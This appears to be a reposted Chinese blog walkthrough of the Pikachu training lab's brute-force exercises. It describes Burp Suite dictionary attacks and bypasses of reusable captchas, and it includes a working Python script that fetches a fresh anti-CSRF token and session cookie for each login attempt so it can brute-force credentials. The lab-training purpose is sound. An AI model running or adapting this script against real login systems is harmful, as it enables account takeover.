pkachu靶场1——暴力破解
Posted 玛卡巴卡巴巴亚卡
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了pkachu靶场1——暴力破解相关的知识,希望对你有一定的参考价值。
一、基于表单的暴力破解
看到没有验证机制,也没有账户和密码的加密机制,直接使用burp暴力破解
选择claster boom,然后payload设置字典,看到返回长度不一样的就能确定是密码了。
二、验证码的绕过(On server)
burp单包调试,修改密码的传参,虽然验证码更新,但发现并没有显示验证码错误,原来的验证码仍然可以使用。
这里任然使用cluster boom,与题目一样得到用户名和密码。
三、验证码绕过(on client)
同样是验证码可以重复利用,按照题目二做法做就是了,或者直接删除验证码的传参,可以达到一样的效果
接着直接爆破
四、token防爆破
在burp抓包的数据中都有分配一个token,所以我们编写如下python工具帮助我们爆破
import requests
from pyquery import PyQuery as pq
import re
url = 'http://127.0.0.1/pikachu/vul/burteforce/bf_token.php'
passwd_list = []
user_list = []
def get_token_and_cookie(url):#获取token和cookie
html = requests.get(url)
content = html.text
doc = pq(content)
put = doc.find('input')
pattern = '(?<=value=")\\w+(?=")'#?<=查找value后面的值,?=查找“前面的值
value = re.search(pattern,str(put))
token = value.group()
cookie = html.cookies
return token,cookie
# print(content)
def get_dics():#字典
with open('dic.txt','r') as f:
items = f.read()
items = items.split('\\n')
for item in items:
user_list.append(item)
passwd_list.append(item)
return user_list,passwd_list
data = {"submit":"Login"}
get_dics()
for user in user_list:
for pw in passwd_list:
data["username"] = user
data["password"] = pw
data["token"], cookies = get_token_and_cookie(url)
cookies = cookies.get_dict()#获取字典格式的cookie
headers= {'Cookie': ''}
headers["Cookie"] = "PHPSESSID=" + cookies["PHPSESSID"]#由于是字典类型,所以需要转化成 ookie格式
response = requests.post(url,data=data,headers=headers)
content = response.text
if "login success" in content:
print("username: ",user,"password: ",pw)
爆破得到账号密码:
以上是关于pkachu靶场1——暴力破解的主要内容,如果未能解决你的问题,请参考以下文章
Lab: Username enumeration via account lock账户锁定限制的暴力破解靶场复盘
Lab: Password brute-force via password change 通过暴力破解获取密码靶场复盘
Lab: 2FA bypass using a brute-force attack:暴力破解双重验证靶场复盘(困难级别)